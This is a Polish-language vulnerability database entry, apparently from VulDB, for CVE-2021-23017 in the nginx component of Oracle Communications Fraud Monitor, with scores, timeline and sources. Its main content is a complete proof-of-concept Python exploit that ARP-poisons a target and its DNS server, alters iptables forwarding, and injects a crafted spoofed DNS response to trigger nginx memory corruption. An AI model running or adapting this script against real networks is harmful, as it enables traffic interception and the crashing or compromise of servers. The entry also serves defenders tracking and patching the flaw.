Oracle Communications Fraud Monitor do 4.4 nginx memory corruption

CVSS Wynik metatemperaturyExploit Aktualna Cena (≈)Wynik odsetkowy CTI
9.2$0-$5k0.00

Podatność została odkryta w Oracle Communications Fraud Monitor do 4.4 (Cloud Software). Problemem dotknięta jest nieznana funkcja w komponencie nginx. Dokładne konsekwencje udanego ataku nie zostały dotąd poznane.

Informacja o podatności została opublikowana w dniu 2021-10-19 jako Oracle Critical Patch Update Advisory - October 2021. Raport na temat podatności został udostępniony pod adresem oracle.com. Podatność ta została oznaczona identyfikatorem CVE-2021-23017. Szczegóły techniczne są nieznane, ale publiczny exploit jest dostępny.

Exploit został stworzony przez mohadsec (M507). Exploit można ściągnąć pod adresem github.com. Uważa się go za proof-of-concept. Kod uzywany jest przez wykorzystanie:

# This PoC is written by github.com/M507
# Discovered by X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn
from scapy.all import *
from multiprocessing import Process
from binascii import hexlify, unhexlify
import argparse, time, os

def device_setup():
    os.system("echo '1' >> /proc/sys/net/ipv4/ip_forward")
    os.system("iptables -A FORWARD -p UDP --dport 53 -j DROP")

def ARPP(target, dns_server):
    print("[*] Sending poisoned ARP packets")
    target_mac = getmacbyip(target)
    dns_server_mac = getmacbyip(dns_server)
    while True:
        time.sleep(2)
        send(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0)
        send(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0)

def exploit(target):
    print("[*] Listening ")
    sniff (filter="udp and port 53 and host " + target, prn = process_received_packet)

"""
RFC schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE |            QDCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ANCOUNT            |            NSCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ARCOUNT            |               QD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AN              |               NS              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Fig. DNS                             

"""
def process_received_packet(received_packet):
    if received_packet[IP].src == target_ip:
        if received_packet.haslayer(DNS):
            if DNSQR in received_packet:
                print("[*] the received packet: " + str(bytes_hex(received_packet)))
                print("[*] the received DNS request: " + str(bytes_hex(received_packet[DNS].build())))
                try:
                    # \/    the received DNS request
                    dns_request = received_packet[DNS].build()
                    null_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12)
                    print("[*] debug: dns_request[:null_pointer_index] : "+str(hexlify(dns_request[:null_pointer_index])))
                    print("[*] debug: dns_request[null_pointer_index:] : "+str(hexlify(dns_request[null_pointer_index:])))
                    payload = [
                        dns_request[0:2],
                        b"\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00",
                        dns_request[12:null_pointer_index+1],
                        dns_request[null_pointer_index+1:null_pointer_index+3],
                        dns_request[null_pointer_index+3:null_pointer_index+5],
                        b"\xC0\x0C\x00\x05\x00\x01\x00\x00\x0E\x10",
                        b"\x00\x0B\x18\x41\x41\x41\x41\x41\x41\x41",
                        b"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41",
                        b"\x41\x41\x41\x41\x41\x41\x41\xC0\x04"
                    ]
                    
                    payload = b"".join(payload)
                    spoofed_pkt = (Ether()/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)/\
                        UDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)/\
                        payload)
                    print("[+] dns answer: "+str(hexlify(payload)))
                    print("[+] full packet: " + str(bytes_hex(spoofed_pkt)))

                    sendp(spoofed_pkt, count=1)
                    print("\n[+] malicious answer was sent")
                    print("[+] exploited\n")
                except:
                    print("\n[-] ERROR")

def main():
    global target_ip
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", help="IP address of the target")
    parser.add_argument("-r", "--dns_server", help="IP address of the DNS server used by the target")
    args = parser.parse_args()
    target_ip = args.target
    dns_server_ip = args.dns_server
    device_setup()
    processes_list = []
    ARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip))
    exploitProcess = Process(target=exploit,args=(target_ip,))
    processes_list.append(ARPPProcess)
    processes_list.append(exploitProcess)
    for process in processes_list:
        process.start()
    for process in processes_list:
        process.join()

if __name__ == '__main__':
    target_ip = ""
    main()

Aktualizacja eliminuje tę podatność. Potencjalne zabezpieczenie zostało opublikowane po ujawnieniu podatności.

Produktinfo

Rodzaj

Sprzedawca

Imię

Wersja

Licencja

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Wektor: 🔍
VulDB Niezawodność: 🔍

CVSSv3info

VulDB Wynik metabazy: 9.4
VulDB Wynik metatemperatury: 9.2

VulDB Wynik podstawowy: 9.4
VulDB Wynik tymczasowy: 9.0
VulDB Wektor: 🔍
VulDB Niezawodność: 🔍

NVD Wynik podstawowy: 9.4
NVD Wektor: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
WektorMożliwość wykorzystaniaUwierzytelnianiePoufnośćIntegralnośćDostępność
odblokowaćodblokowaćodblokowaćodblokowaćodblokowaćodblokować
odblokowaćodblokowaćodblokowaćodblokowaćodblokowaćodblokować
odblokowaćodblokowaćodblokowaćodblokowaćodblokowaćodblokować

VulDB Wynik podstawowy: 🔍
VulDB Wynik tymczasowy: 🔍
VulDB Niezawodność: 🔍

NVD Wynik podstawowy: 🔍

Exploitinfo

Klasa: Przepełnienie bufora
CWE: CWE-193 / CWE-189
CAPEC: 🔍
ATT&CK: 🔍

Lokalny: Nie
Zdalny: Tak

Dostępność: 🔍
Dostęp: Publiczny
Status: Proof-of-Concept
Autor: mohadsec (M507)
Pobierać: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Przewidywanie ceny: 🔍
Aktualny szacunek cena: 🔍

0-Dayodblokowaćodblokowaćodblokowaćodblokować
Dzisiajodblokowaćodblokowaćodblokowaćodblokować

Inteligencja Zagrożeńinfo

Wysiłek: 🔍
Aktywni aktorzy: 🔍
Aktywne grupy APT: 🔍

Przeciwdziałanieinfo

Zalecane: Upgrade
Status: 🔍

Czas reakcji: 🔍
0-dniowy czas: 🔍
Czas ekspozycji: 🔍

Oś czasuinfo

2021-01-06 🔍
2021-10-19 +285 dni 🔍
2021-10-19 +0 dni 🔍
2021-10-20 +1 dni 🔍
2023-03-05 +501 dni 🔍

Źródłainfo

Sprzedawca: oracle.com

Raport: Oracle Critical Patch Update Advisory - October 2021
Status: Potwierdzone
Potwierdzenie: 🔍

CVE: CVE-2021-23017 (🔍)
scip Labs: https://www.scip.ch/en/?labs.20161013

Wpisinfo

Stworzono: 2021-10-20 08:09
Aktualizacje: 2023-03-05 10:50
Zmiany: 2021-10-20 08:09 (39), 2021-10-23 18:36 (3), 2021-10-23 18:45 (18), 2023-03-05 10:47 (6), 2023-03-05 10:48 (1), 2023-03-05 10:50 (1)
Kompletny: 🔍
Committer: ajmeese7

Dyskusja

Brak komentarzy. Języki: pl + en.

Zaloguj się, aby skomentować.

Do you need the next level of professionalism?

Upgrade your account now!